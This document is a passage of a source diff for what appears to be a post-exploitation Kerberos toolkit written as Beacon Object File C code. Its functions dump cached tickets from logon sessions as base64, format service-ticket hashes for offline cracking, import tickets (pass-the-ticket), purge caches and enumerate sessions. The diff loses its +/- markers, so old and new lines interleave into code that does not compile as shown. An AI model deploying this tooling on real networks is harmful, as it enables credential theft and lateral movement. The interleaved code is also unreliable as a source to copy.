if (module != NULL) {
if (module != NULL)
{
kerbError = KerbUnpackData(module, tokID + sizeof(SHORT), apreqSize, KERB_AP_REQUEST_PDU, &apRequest);
if (KERB_SUCCESS(kerbError)) {
if (KERB_SUCCESS(kerbError))
{
int encType = apRequest->ticket.encrypted_part.encryption_type;
int cipherTextSize = apRequest->ticket.encrypted_part.cipher_text.length;
UCHAR* cipherText = apRequest->ticket.encrypted_part.cipher_text.value;
UCHAR *cipherText = apRequest->ticket.encrypted_part.cipher_text.value;
KERB_PRINCIPAL_NAME_name_string_Seq service = apRequest->ticket.server_name.name_string->value;
KERB_PRINCIPAL_NAME_name_string_Seq host = apRequest->ticket.server_name.name_string->next->value;
KERB_REALM domain = apRequest->ticket.realm;
if (encType == 17 || encType == 18) {
PRINT(dispatch, "[*] Note: Specify valid username instead of 'USER'\n");
PRINT(dispatch, "[+] Hash: ");
PRINT(dispatch, "$krb5tgs$%d$USER$%s$*%s/%s*$", encType, domain, service, host);
for (int i = cipherTextSize - 12; i < cipherTextSize; i++) {
PRINT(dispatch, "%.2x", cipherText[i]);
if (encType == 17 || encType == 18)
{
char *fmt = "[*] Note: Specify valid username instead of 'USER'\n"
"[+] Hash: "
"$krb5tgs$%d$USER$%s$*%s/%s*$%s\n";
int size = _strlen(fmt) + cipherTextSize * 2 + 3;
char *hashString = MSVCRT$malloc(size * sizeof(char));
if (hashString == NULL)
{
PRINT(dispatch, "[!] Unable to allocate memory.\n");
}
PRINT(dispatch, "$");
for (int i = 0; i < cipherTextSize - 12; i++) {
PRINT(dispatch, "%.2x", cipherText[i]);
}
PRINT(dispatch, "\n");
} else if (encType == 23) {
PRINT(dispatch, "[+] Hash: ");
PRINT(dispatch, "$krb5tgs$%d$*$%s$%s/%s*$", encType, domain, service, host);
for (int i = 0; i < cipherTextSize; i++) {
if (i == 16) {
PRINT(dispatch, "$");
else
{
int pos = 0;
for (int i = cipherTextSize - 12; i < cipherTextSize; i++)
{
MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]);
pos += 2;
}
PRINT(dispatch, "%.2x", cipherText[i]);
MSVCRT$_snprintf(hashString + pos, 1, "%s", "$");
pos++;
for (int i = 0; i < cipherTextSize - 12; i++)
{
MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]);
pos += 2;
}
PRINT(dispatch, fmt, encType, domain, service, host, hashString);
MSVCRT$free(hashString);
}
}
else if (encType == 23)
{
char *fmt = "[+] Hash: "
"$krb5tgs$%d$*$%s$%s/%s*$%s\n";
int size = _strlen(fmt) + cipherTextSize * 2 + 1;
char *hashString = MSVCRT$malloc(size * sizeof(char));
if (hashString == NULL)
{
PRINT(dispatch, "[!] Unable to allocate memory.\n");
}
else
{
int pos = 0;
for (int i = 0; i < cipherTextSize; i++)
{
if (i == 16)
{
MSVCRT$_snprintf(hashString + pos, 1, "%s", "$");
pos++;
}
MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]);
pos += 2;
}
PRINT(dispatch, fmt, encType, domain, service, host, hashString);
MSVCRT$free(hashString);
}
}
else
{
char *encTypeString = NULL;
GetEncryptionTypeString(encType, &encTypeString);
if (encTypeString != NULL)
{
PRINT(dispatch, "[!] Unsupported encryption type: %s\n", encTypeString);
MSVCRT$free(encTypeString);
}
else
{
PRINT(dispatch, "[!] Unable to get encryption type.\n");
}
PRINT(dispatch, "\n");
} else {
PRINT(dispatch, "[!] Unsupported encryption type: %s\n", GetEncryptionTypeString(encType));
}
KerbFreeData(module, KERB_AP_REQUEST_PDU, apRequest);
} else {
}
else
{
PRINT(dispatch, "[!] Failed to unpack AP-REQ: 0x%x\n", kerbError);
}
KRB5_Module_Cleanup(module);
} else {
}
else
{
PRINT(dispatch, "[!] Could not create ASN.1 module\n");
}
MSVCRT$free(apreq);
} else {
}
else
{
PRINT(dispatch, "[!] Kerberos OID not found\n");
}
} else {
}
else
{
PRINT(dispatch, "[!] Failed to request AP-REQ: 0x%x\n", status);
}
}
+212 -83
View File
@@ -1,92 +1,136 @@
#include "klist.h"
void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump) {
void execute_klist(WCHAR **dispatch, LUID luid, BOOL currentLuid, BOOL dump)
{
BOOL highIntegrity = IsHighIntegrity();
if (!highIntegrity && !currentLuid) {
if (!highIntegrity && !currentLuid)
{
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
HANDLE hLsa;
NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
return;
}
ULONG authPackage;
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
LOGON_SESSION_DATA sessionData;
status = GetLogonSessionData(luid, &sessionData);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
KERB_QUERY_TKT_CACHE_REQUEST cacheRequest;
cacheRequest.MessageType = KerbQueryTicketCacheExMessage;
for (int i = 0; i < sessionData.sessionCount; i++) {
if (sessionData.sessionData[i] == NULL) {
for (int i = 0; i < sessionData.sessionCount; i++)
{
if (sessionData.sessionData[i] == NULL)
{
continue;
}
PrintLogonSessionData(dispatch, (*sessionData.sessionData[i]));
PRINT(dispatch, "\n");
if (highIntegrity) {
if (highIntegrity)
{
cacheRequest.LogonId = sessionData.sessionData[i]->LogonId;
} else {
}
else
{
cacheRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
}
char *sessionString = NULL;
PrintLogonSessionData(*sessionData.sessionData[i], &sessionString);
SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]);
KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL;
KERB_QUERY_TKT_CACHE_EX_RESPONSE *cacheResponse = NULL;
KERB_TICKET_CACHE_INFO_EX cacheInfo;
ULONG responseSize;
NTSTATUS protocolStatus;
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest),
&cacheResponse, &responseSize, &protocolStatus);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
if (sessionString != NULL)
{
MSVCRT$free(sessionString);
}
continue;
}
// check protocol status?
if (cacheResponse == NULL) {
if (cacheResponse == NULL)
{
if (sessionString != NULL)
{
MSVCRT$free(sessionString);
}
continue;
}
int ticketCount = cacheResponse->CountOfTickets;
PRINT(dispatch, "[*] Cached tickets: (%d)\n\n", ticketCount);
if (ticketCount > 0) {
for (int j = 0; j < ticketCount; j++) {
if (sessionString != NULL)
{
PRINT(dispatch, "%s\n\n[*] Cached tickets: (%d)\n\n", sessionString, ticketCount);
MSVCRT$free(sessionString);
}
else
{
PRINT(dispatch, "[!] Unable to print session.\n\n");
}
if (ticketCount > 0)
{
for (int j = 0; j < ticketCount; j++)
{
cacheInfo = cacheResponse->Tickets[j];
PRINT(dispatch, "\t[%d]\n", j);
PrintTicketInfo(dispatch, cacheInfo);
if (dump) {
PRINT(dispatch, "\tTicket : ");
char *ticketInfo = NULL;
PrintTicketInfo(cacheInfo, &ticketInfo);
if (ticketInfo != NULL)
{
PRINT(dispatch, "\t[%d]\n%s\n", j, ticketInfo);
MSVCRT$free(ticketInfo);
}
else
{
PRINT(dispatch, "\t[!] Unable to print ticket info.\n");
}
if (dump)
{
PUCHAR ticket;
ULONG ticketSize;
status = ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket,
&ticketSize);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] Could not extract the ticket: %ld\n", status);
} else {
if (ticketSize > 0) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "\t[!] Could not extract a ticket: %ld\n", status);
}
else
{
if (ticketSize > 0)
{
int len = Base64encode_len(ticketSize);
char* encoded = (char*)MSVCRT$calloc(len, sizeof(char));
if (encoded == NULL) {
PRINT(dispatch, "[!] Base64 - could not allocate memory.\n");
char *encoded = (char *)MSVCRT$calloc(len, sizeof(char));
if (encoded == NULL)
{
PRINT(dispatch, "\t[!] Could not allocate memory (base64).\n");
continue;
}
Base64encode(encoded, ticket, ticketSize);
PRINT(dispatch, "%s\n\n", encoded);
PRINT(dispatch, "\tTicket : %s\n\n", encoded);
MSVCRT$free(encoded);
MSVCRT$free(ticket);
}
}
}
PRINT(dispatch, "\n");
}
}
SECUR32$LsaFreeReturnBuffer(cacheResponse);
@@ -95,13 +139,15 @@ void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump) {
SECUR32$LsaDeregisterLogonProcess(hLsa);
}
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
PULONG ticketSize) {
KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = NULL;
KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL;
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR *ticket,
PULONG ticketSize)
{
KERB_RETRIEVE_TKT_REQUEST *retrieveRequest = NULL;
KERB_RETRIEVE_TKT_RESPONSE *retrieveResponse = NULL;
ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength;
retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST*)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
if (retrieveRequest == NULL) {
retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST *)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
if (retrieveRequest == NULL)
{
return STATUS_MEMORY_NOT_ALLOCATED;
}
retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
@@ -118,73 +164,156 @@ NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse,
&responseSize, &protocolStatus);
MSVCRT$free(retrieveRequest);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(protocolStatus)) {
if (responseSize > 0) {
if (NT_SUCCESS(status))
{
if (NT_SUCCESS(protocolStatus))
{
if (responseSize > 0)
{
ULONG size = retrieveResponse->Ticket.EncodedTicketSize;
PUCHAR returnTicket = (PUCHAR)MSVCRT$calloc(size, sizeof(UCHAR));
if (returnTicket != NULL) {
if (returnTicket != NULL)
{
_memcpy(returnTicket, retrieveResponse->Ticket.EncodedTicket, size);
*ticket = returnTicket;
*ticketSize = size;
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
SECUR32$LsaFreeReturnBuffer(retrieveResponse);
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
return status;
}
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags) {
void PrintTicketFlags(ULONG ticketFlags, char **flagsString)
{
char *flags[16] = {
"name_canonicalize ",
"anonymous ",
"ok_as_delegate ",
"? ",
"hw_authent ",
"pre_authent ",
"initial ",
"renewable ",
"invalid ",
"postdated ",
"may_postdate ",
"proxy ",
"proxiable ",
"forwarded ",
"forwardable ",
"reserved "};
char* flags[16] = {
"name_canonicalize",
"anonymous",
"ok_as_delegate",
"?",
"hw_authent",
"pre_authent",
"initial",
"renewable",
"invalid",
"postdated",
"may_postdate",
"proxy",
"proxiable",
"forwarded",
"forwardable",
"reserved"
};
*flagsString = MSVCRT$malloc(512 * sizeof(char));
if (*flagsString == NULL)
{
return NULL;
}
for (int i = 0; i < 16; i++) {
if ((ticketFlags >> (i + 16)) & 1) {
PRINT(dispatch, "%s ", flags[i]);
int pos = 0;
for (int i = 0; i < 16; i++)
{
if ((ticketFlags >> (i + 16)) & 1)
{
_strcpy(*flagsString + pos, flags[i]);
pos += _strlen(flags[i]);
}
}
PRINT(dispatch, "(0x%lx)\n", ticketFlags);
if (FAILED(_StringCchPrintfExA(*flagsString + pos, 21, NULL, NULL, NULL, "(0x%lx)\0", ticketFlags)))
{
MSVCRT$free(*flagsString);
*flagsString = NULL;
}
}
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo) {
PRINT(dispatch, "\tClient name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ClientName),
GetNarrowStringFromUnicode(cacheInfo.ClientRealm));
PRINT(dispatch, "\tServer name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ServerName),
GetNarrowStringFromUnicode(cacheInfo.ServerRealm));
SYSTEMTIME st_utc = ConvertToSystemtime(cacheInfo.StartTime);
PRINT(dispatch, "\tStart time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
st_utc = ConvertToSystemtime(cacheInfo.EndTime);
PRINT(dispatch, "\tEnd time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
st_utc = ConvertToSystemtime(cacheInfo.RenewTime);
PRINT(dispatch, "\tRenew time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
PRINT(dispatch, "\tFlags : ");
PrintTicketFlags(dispatch, cacheInfo.TicketFlags);
PRINT(dispatch, "\tEncryption type : %s\n", GetEncryptionTypeString(cacheInfo.EncryptionType));
void PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, char **ticketInfo)
{
char *fmt = "\tClient name : %s @ %s\n"
"\tServer name : %s @ %s\n"
"\tStart time (UTC) : %d/%d/%d %d:%d:%d\n"
"\tEnd time (UTC) : %d/%d/%d %d:%d:%d\n"
"\tRenew time (UTC) : %d/%d/%d %d:%d:%d\n"
"\tFlags : %s\n"
"\tEncryption type : %s\n";
ANSI_STRING clientName = {0};
ANSI_STRING clientRealm = {0};
ANSI_STRING serverName = {0};
ANSI_STRING serverRealm = {0};
NTDLL$RtlUnicodeStringToAnsiString(&clientName, &cacheInfo.ClientName, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&serverName, &cacheInfo.ServerName, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&clientRealm, &cacheInfo.ClientRealm, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&serverRealm, &cacheInfo.ServerRealm, TRUE);
SYSTEMTIME startTime = ConvertToSystemtime(cacheInfo.StartTime);
SYSTEMTIME endTime = ConvertToSystemtime(cacheInfo.EndTime);
SYSTEMTIME renewTime = ConvertToSystemtime(cacheInfo.RenewTime);
char *flags = NULL;
PrintTicketFlags(cacheInfo.TicketFlags, &flags);
char *encTypeString = NULL;
GetEncryptionTypeString(cacheInfo.EncryptionType, &encTypeString);
int size = _strlen(fmt) +
clientName.Length +
clientRealm.Length +
serverName.Length +
serverRealm.Length +
24 + 24 + 24 + 1;
if (encTypeString != NULL)
{
size += _strlen(encTypeString);
}
if (flags != NULL)
{
size += _strlen(flags);
}
*ticketInfo = MSVCRT$malloc(size * sizeof(char));
if (*ticketInfo == NULL)
{
goto end;
}
HRESULT result = _StringCchPrintfExA(*ticketInfo, size, NULL, NULL, STRSAFE_IGNORE_NULLS, fmt,
clientName.Buffer, clientRealm.Buffer,
serverName.Buffer, serverRealm.Buffer,
startTime.wDay, startTime.wMonth, startTime.wYear, startTime.wHour, startTime.wMinute, startTime.wSecond,
endTime.wDay, endTime.wMonth, endTime.wYear, endTime.wHour, endTime.wMinute, endTime.wSecond,
renewTime.wDay, renewTime.wMonth, renewTime.wYear, renewTime.wHour, renewTime.wMinute, renewTime.wSecond,
flags,
encTypeString);
if (FAILED(result))
{
MSVCRT$free(*ticketInfo);
*ticketInfo = NULL;
}
end:
if (flags != NULL)
{
MSVCRT$free(flags);
}
if (encTypeString != NULL)
{
MSVCRT$free(encTypeString);
}
NTDLL$RtlFreeAnsiString(&clientName);
NTDLL$RtlFreeAnsiString(&serverName);
NTDLL$RtlFreeAnsiString(&clientRealm);
NTDLL$RtlFreeAnsiString(&serverRealm);
}
+897 -569
View File
File diff suppressed because it is too large Load Diff
+21 -11
View File
@@ -1,8 +1,10 @@
#include "luid.h"
void execute_luid(WCHAR** dispatch) {
LUID* currentLUID = GetCurrentLUID();
if (currentLUID == NULL) {
void execute_luid(WCHAR **dispatch)
{
LUID *currentLUID = GetCurrentLUID();
if (currentLUID == NULL)
{
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
return;
}
@@ -10,22 +12,30 @@ void execute_luid(WCHAR** dispatch) {
MSVCRT$free(currentLUID);
}
LUID* GetCurrentLUID() {
LUID *GetCurrentLUID()
{
TOKEN_STATISTICS tokenStats;
DWORD tokenSize;
HANDLE hToken = GetCurrentToken(0x8); // TOKEN_QUERY
if (hToken != NULL) {
if (ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) {
if (hToken != NULL)
{
if (ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))
{
KERNEL32$CloseHandle(hToken);
} else {
}
else
{
return NULL;
}
} else {
}
else
{
return NULL;
}
LUID* luid = MSVCRT$calloc(1, sizeof(LUID));
if (luid == NULL) {
LUID *luid = MSVCRT$calloc(1, sizeof(LUID));
if (luid == NULL)
{
return NULL;
}
luid->HighPart = tokenStats.AuthenticationId.HighPart;
+33 -18
View File
@@ -1,43 +1,50 @@
#include "ptt.h"
void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) {
void execute_ptt(WCHAR **dispatch, char *ticket, LUID luid, BOOL currentLuid)
{
BOOL highIntegrity = IsHighIntegrity();
if (!highIntegrity && !currentLuid) {
if (!highIntegrity && !currentLuid)
{
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
HANDLE hLsa;
if (currentLuid) {
if (currentLuid)
{
// no need to register lsa logon process
highIntegrity = FALSE;
}
NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
return;
}
ULONG authPackage;
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
int decoded_len = Base64decode_len(ticket);
char* decoded = (char*)MSVCRT$calloc(decoded_len, sizeof(char));
if (decoded == NULL) {
PRINT(dispatch, "[!] Base64 - could not allocate the memory.\n");
char *decoded = (char *)MSVCRT$calloc(decoded_len, sizeof(char));
if (decoded == NULL)
{
PRINT(dispatch, "[!] Could not allocate memory (base64).\n");
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
Base64decode(decoded, ticket);
KERB_SUBMIT_TKT_REQUEST* submitRequest = NULL;
KERB_SUBMIT_TKT_REQUEST *submitRequest = NULL;
int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decoded_len;
submitRequest = (KERB_SUBMIT_TKT_REQUEST*)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
if (submitRequest == NULL) {
PRINT(dispatch, "[!] KERB_SUBMIT_TKT_REQUEST - could not allocate memory.\n");
submitRequest = (KERB_SUBMIT_TKT_REQUEST *)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
if (submitRequest == NULL)
{
PRINT(dispatch, "[!] Could not allocate memory (KERB_SUBMIT_TKT_REQUEST).\n");
MSVCRT$free(decoded);
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
@@ -45,7 +52,8 @@ void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) {
submitRequest->MessageType = KerbSubmitTicketMessage;
submitRequest->KerbCredSize = decoded_len;
submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
if (highIntegrity) {
if (highIntegrity)
{
submitRequest->LogonId = luid;
}
_memcpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decoded, decoded_len);
@@ -55,19 +63,26 @@ void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) {
PVOID response;
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response,
&responseSize, &protocolStatus);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(protocolStatus)) {
if (NT_SUCCESS(status))
{
if (NT_SUCCESS(protocolStatus))
{
PRINT(dispatch, "[+] Ticket successfully imported.\n");
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus: %ld\n", status);
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
PRINT(dispatch, "[!] LsaCallAuthenticationPackage Status: %ld\n", status);
}
if (submitRequest != NULL) {
if (submitRequest != NULL)
{
MSVCRT$free(submitRequest);
}
SECUR32$LsaDeregisterLogonProcess(hLsa);
+28 -14
View File
@@ -1,54 +1,68 @@
#include "purge.h"
void execute_purge(WCHAR** dispatch, LUID luid, BOOL currentLuid) {
void execute_purge(WCHAR **dispatch, LUID luid, BOOL currentLuid)
{
ULONG authPackage;
HANDLE hLsa;
void* purgeResponse;
void *purgeResponse;
ULONG responseSize;
NTSTATUS protocolStatus;
BOOL highIntegrity = IsHighIntegrity();
if (!highIntegrity && !currentLuid) {
if (!highIntegrity && !currentLuid)
{
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
if (currentLuid) {
if (currentLuid)
{
highIntegrity = FALSE;
}
NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
return;
}
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (!NT_SUCCESS(status)) {
if (!NT_SUCCESS(status))
{
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
KERB_PURGE_TKT_CACHE_REQUEST purgeRequest;
purgeRequest.MessageType = KerbPurgeTicketCacheMessage;
if (highIntegrity) {
if (highIntegrity)
{
purgeRequest.LogonId = luid;
} else {
}
else
{
purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
}
purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest,
sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus);
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest,
sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(protocolStatus)) {
if (NT_SUCCESS(status))
{
if (NT_SUCCESS(protocolStatus))
{
PRINT(dispatch, "[+] Successfully purged tickets.\n");
} else {
}
else
{
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus %ld\n",
ADVAPI32$LsaNtStatusToWinError(protocolStatus));
}
} else {
}
else
{
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
}
+165 -77
View File
@@ -1,8 +1,10 @@
#include "sessions.h"
void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid) {
void execute_sessions(WCHAR **dispatch, LUID luid, BOOL currentLuid)
{
BOOL highIntegrity = IsHighIntegrity();
if (!highIntegrity && !currentLuid) {
if (!highIntegrity && !currentLuid)
{
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
@@ -10,126 +12,212 @@ void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid) {
LOGON_SESSION_DATA sessionData;
PSECURITY_LOGON_SESSION_DATA data;
NTSTATUS status = GetLogonSessionData(luid, &sessionData);
if (NT_SUCCESS(status)) {
for (int i = 0; i < sessionData.sessionCount; i++) {
if (NT_SUCCESS(status))
{
for (int i = 0; i < sessionData.sessionCount; i++)
{
data = sessionData.sessionData[i];
if (data != NULL) {
PrintLogonSessionData(dispatch, *data);
if (i != sessionData.sessionCount - 1) {
PRINT(dispatch, "\n\n");
if (data != NULL)
{
char *sessionString;
PrintLogonSessionData(*data, &sessionString);
if (sessionString != NULL)
{
PRINT(dispatch, "%s\n\n", sessionString);
MSVCRT$free(sessionString);
}
else
{
PRINT(dispatch, "[!] Unable to print session.\n\n");
}
SECUR32$LsaFreeReturnBuffer(data);
}
}
MSVCRT$free(sessionData.sessionData);
} else {
PRINT(dispatch, "[!] execute_sessions GetLogonSessionData: %ld", status);
}
else
{
PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
}
}
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) {
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA *data)
{
LOGON_SESSION_DATA sessionData;
PSECURITY_LOGON_SESSION_DATA logonData = NULL;
NTSTATUS status;
if (luid.LowPart != 0) {
if (luid.LowPart != 0)
{
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
sessionData.sessionData = MSVCRT$calloc(1, sizeof(*sessionData.sessionData));
if (sessionData.sessionData != NULL) {
if (sessionData.sessionData != NULL)
{
sessionData.sessionCount = 1;
sessionData.sessionData[0] = logonData;
*data = sessionData;
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
}
else
{
ULONG logonSessionCount;
PLUID logonSessionList;
status = SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
sessionData.sessionData = MSVCRT$calloc(logonSessionCount, sizeof(*sessionData.sessionData));
if (sessionData.sessionData != NULL) {
if (sessionData.sessionData != NULL)
{
sessionData.sessionCount = logonSessionCount;
for (int i = 0; i < logonSessionCount; i++) {
for (int i = 0; i < logonSessionCount; i++)
{
LUID luid = logonSessionList[i];
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
sessionData.sessionData[i] = logonData;
} else {
}
else
{
sessionData.sessionData[i] = NULL;
}
}
SECUR32$LsaFreeReturnBuffer(logonSessionList);
*data = sessionData;
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
}
return status;
}
char* GetLogonTypeString(ULONG uLogonType) {
char* logonType = NULL;
switch (uLogonType) {
case LOGON32_LOGON_INTERACTIVE:
logonType = "Interactive";
break;
case LOGON32_LOGON_NETWORK:
logonType = "Network";
break;
case LOGON32_LOGON_BATCH:
logonType = "Batch";
break;
case LOGON32_LOGON_SERVICE:
logonType = "Service";
break;
case LOGON32_LOGON_UNLOCK:
logonType = "Unlock";
break;
case LOGON32_LOGON_NETWORK_CLEARTEXT:
logonType = "Network_Cleartext";
break;
case LOGON32_LOGON_NEW_CREDENTIALS:
logonType = "New_Credentials";
break;
default:
logonType = "(0)";
break;
void GetLogonTypeString(ULONG uLogonType, char **logonTypeString)
{
char *types[10] = {
"(0)",
"(1)",
"Interactive (2)",
"Network (3)",
"Batch (4)",
"Service (5)",
"(6)",
"Unlock (7)",
"Network_Cleartext (8)",
"New_Credentials (9)"};
*logonTypeString = MSVCRT$malloc(24 * sizeof(char));
if (*logonTypeString == NULL)
{
return;
}
return logonType;
for (int i = 0; i < 10; i++)
{
if (i == uLogonType)
{
_strcpy(*logonTypeString, types[i]);
return;
}
}
_strcpy(*logonTypeString, "(unknown)\0");
}
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data) {
WCHAR* sid = NULL;
PRINT(dispatch, "UserName : %.*s\n", data.UserName.Length / (int)sizeof(char),
GetNarrowString(data.UserName.Buffer));
PRINT(dispatch, "Domain : %.*s\n", data.LogonDomain.Length / (int)sizeof(char),
GetNarrowString(data.LogonDomain.Buffer));
